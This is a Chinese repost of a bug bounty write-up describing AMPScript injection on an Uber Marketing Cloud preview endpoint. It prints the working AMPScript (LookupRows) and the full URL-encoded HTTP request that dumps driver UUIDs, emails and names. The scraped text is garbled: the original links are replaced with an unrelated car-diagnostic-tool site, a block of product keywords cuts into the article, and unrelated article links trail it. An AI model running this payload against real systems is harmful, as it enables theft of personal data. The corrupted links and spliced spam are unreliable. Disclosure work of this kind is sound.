利用AMPScript获取Uber用户数据的访问权限
现代项目开发和资产管理方法正在不停地快速变化。在这场创新和扩张的竞赛中,新资产被迅速部署并暴露于公共互联网,已有资产也在不断发展。
要跟上这个不断变化的攻击面是很难的,更不用说保护这些应用程序和系统了。传统的基于时间点和静态的安全措施根本无法奏效,在这种动态环境中主动管理威胁似乎是一项不可能完成的任务。
解决这个问题的唯一方法是持续化的安全评估和资产感知。我们在用持续安全平台(Continuous Security Platform)监控大型攻击面时,经常发现由资产结构变更导致的新的或未发现的漏洞。
这就是我们的Assetnote持续安全平台在Uber漏洞赏金计划的一个子域名下发现的情况:exacttarget-web-hook.uber.com。
很长一段时间,子域名返回的是一个由Express.js Web服务器生成的普通且无聊的“Not Found”错误。
突然有一天,子域名返回了一个像是Uber消息个性化系统的内部测试响应:

Assetnote CS在https://iprog-programmer.chinaobd2.com/
乍一看,该应用程序看起来像一个用于测试文本消息的API控制台,该消息包含用户的个性化设置。
我们尝试根据提供的“测试contractKey”来利用API控制台,但失败了。经过一番调查后,我们断定这是因为contactKey参数必须是经过身份验证的帐户的UUID,而不是API控制台页面上提供的UUID。在登录后,我们从https://iprog-programmer.chinaobd2.com/的HTML源码中提取到了UUID。
在使用正确的Uber帐户的UUID填入contactKey参数后,我们能够发送API请求到preview接口:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://iprog-programmer.chinaobd2.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
本文前面所示的截图正是API控制台中preview接口返回的“消息”:
%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.
通过调查语法并联想到子域名为exacttarget-web-hook,我们意识到上面的代码实际上是AMPScript。
Salesforce的Marketing Cloud发明了AMPScript脚本语言,它可以嵌入到HTML邮件、文本邮件、登录页面和SMS消息中,以控制展示给个人消费者的内容。 AMPScript由ExactTarget开发,在2013年被Salesforce收购。
一开始使用API控制台中提供的示例AMPScript失败了,于是我们开始全面评估AMPScript的可用性。我们很快发现HTTPGet函数可以发送HTTP GET请求并得到响应内容:

运行AMPScript的查询语句:
%%=HTTPGet('https://ipinfo.io')=%%
很好!我们能够利用任意的AMPScript!但是,我们通过HTTPGet函数发起的请求并非Uber服务器产生的,如上图所示,它来自AS22606 ExactTarget,Inc。
为了演示该漏洞的影响,我们从名叫driver_partners的数据扩展中提取了用户数据。数据扩展是一种可以用AMPScript数据扩展函数访问的数据库表。
通过阅读有关LookupRows函数的AMPScript文档,我们可以写一个这样的AMPScript脚本:
- 在driver_partners数据扩展中搜索所有firstname等于Shubs的行。
- 将查询结果存储到数组中。
- 迭代访问数组并打印值。
最终的AMPScript如下:
%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
SET @Row = Row(@prefArray, @i)
SET @ID = Field(@Row, 1)
SET @UUID = Field(@Row, 2)
SET @joinDate = Field(@Row, 3)
SET @email = Field(@Row, 4)
SET @firstName = Field(@Row, 5)
]%%
%%=V(@UUID)=%%
%%=V(@joinDate)=%%
%%=V(@email)=%%
%%=V(@firstName)=%%
%%[
NEXT @i
]%%
当此AMPScript发送请求到preview接口后,响应中包含UUID、注册日期、邮箱地址以及名为Shubs的所有用户的名字。
对preview接口的HTTP请求如下:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://exacttarget-web-hook.uber.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
Vag COM , TCS CDP , VAS5054A , GM Tech2 , Iprog+ Programmer , Orange 5 programmer , SBB3 PRO3 Key Programmer , wiTech MicroPod II , T300+ Key Programmer, Iprog, Scania VCI3, mercedes star diagnostic, Porsche Piwis, vocom 88890300, Renault CAN Clip, SBB Key Programmer, NEXIQ USB Link
响应(UUID和邮箱地址已打码):

Uber返回的所有用户名叫‘Shubs’的数据
如上所示,返回了许多名为Shubs的用户的详细信息(我已修改截图仅展示测试帐户)。攻击者可以编写AMPScript来提取大量的数据,或者搜索Uber数据中名叫XXX的特定人,并提取他们的UUID和电子邮件地址。
利用AMPScript获取Uber用户数据的访问权限的更多相关文章
- Kubernetes RBAC授权普通用户对命名空间访问权限
Kubernetes RBAC授权普通用户对命名空间访问权限 官方文档:https://www.cnblogs.com/xiangsikai/p/11413970.html kind: Role ap ...
- 使用腾讯开发平台获取QQ用户数据资料
<今天是七夕:祝大家七夕嗨皮,前可么么哒,后可啪啪啪> Tips:本篇博客将教你如何使用腾讯开发平台获取QQ用户资料 ----------------------------------- ...
- Struts2 利用拦截器 interceptor 控制登陆和访问权限
最近学习了Struts2的登录和权限控制用到的是拦截器,需要在struts.xml中配置,每个action都默认的继承defaultStack,如果你用了别的拦截器,还需要手动引入defaultSta ...
- [App Store Connect帮助]二、 添加、编辑和删除用户(4)更改用户的 App 访问权限
您可以限制具有“App 管理”.“客户支持”.“开发者”.“营销”或“销售”职能的用户(均不具有“访问报告”职能)拥有哪些 App 的访问权限.如果您不更改他们的用户 App 访问权限,他们将默认拥有 ...
- SQL Server新增用户并控制访问权限设置。
新增用户: 一.进入数据库:[安全性]—>[登录名]—>[新建登录名] 二.在常规选项卡中.如图所示,创建登录名.注意设置默认的数据库. 三.在[用户映射]下设置该用户所能访问的数据库.并 ...
- 利用PHP连接数据库——实现用户数据的增删改查的整体操作实例
main页面(主页面) <table width="100%" border="1" cellpadding="0" cellspac ...
- springMVC+request.session实现用户登录和访问权限控制
用springmvc mybatis实现用户登录登出功能,使用session保持登录状态,并实现禁止未登录的用户访问.感谢谷歌资源,在这里做个学习记录加深自己的印象. 原文在我的https://my. ...
- sqlserver2012 用户指定数据库访问权限
这样 用户进入的时候 就只能访问指定数据库 点击其他 显示
- Android各种访问权限Permission详解
原文:http://jingyan.baidu.com/article/afd8f4de4688af34e386e976.html 在Android的设计中,资源的访问或者网络连接,要得到这些服务都需 ...
随机推荐
- 咸鱼入门到放弃8--jsp<三>jsp内置对象
NO. 内置对象 类型 1 pageContext javax.servlet.jsp.PageContext 2 request javax.servlet.http.HttpServletRequ ...
- angularJs实现数据双向绑定的原理
angular1.x在指定的事件触发时(比如dom事件,xhr响应事件,浏览器定位变更事件,定时器事件),通过脏值检测的方式比对数据是否有变更,来决定是否更新视图. angular2使用了zone.j ...
- Linux和window的区别
免费与收费 最新正版Windows10官方售价¥888 Linux几乎免费(更多人愿意钻研开源软件,而收费的产品出现更多的盗版) 软件与支持 Windows平台:数量和质量的优势,补过大部分为收费软件 ...
- 我的 FPGA 学习历程(03)—— 使用 Quaruts 自带仿真工具
在上一篇中详细的介绍了怎样创建原理图工程,这篇同样使用原理图工程新建一个多路选择器,目的是学习使用图形输入的仿真工具输入仿真激励. 新建工程,并绘制以下的原理图. 编译项目,会多出一个警告: Crit ...
- XVII Open Cup named after E.V. Pankratiev. GP of Siberia, Division 1
1. Ski race 枚举枚举倍数判断即可.时间复杂度$O(n\log m)$. #include<cstdio> #include<algorithm> using nam ...
- c++模板文件,方便调试与运行时间的观察
#define _CRT_SECURE_NO_WARNINGS#include<iostream>#include <vector>#include<algorithm& ...
- 移动端滑动效果 swiper 4.0.7
<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" ...
- Linux 命令分类学习
Linux常用命令大全(非常全!!!) 系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q ...
- DevPress GridControl的使用
XtraGrid使用方法 XtraGrid的关键类就是:GridControl和GridView.GridControl本身不显示数据,数据都是显示在GridView/CardView/XXXXV ...
- VS2017 未找到编译器可执行文件 csc.exe
vs2017 网站报错 原因Web.config是中下面这段:注释就可以了 <!--<system.codedom> <compilers> <compiler l ...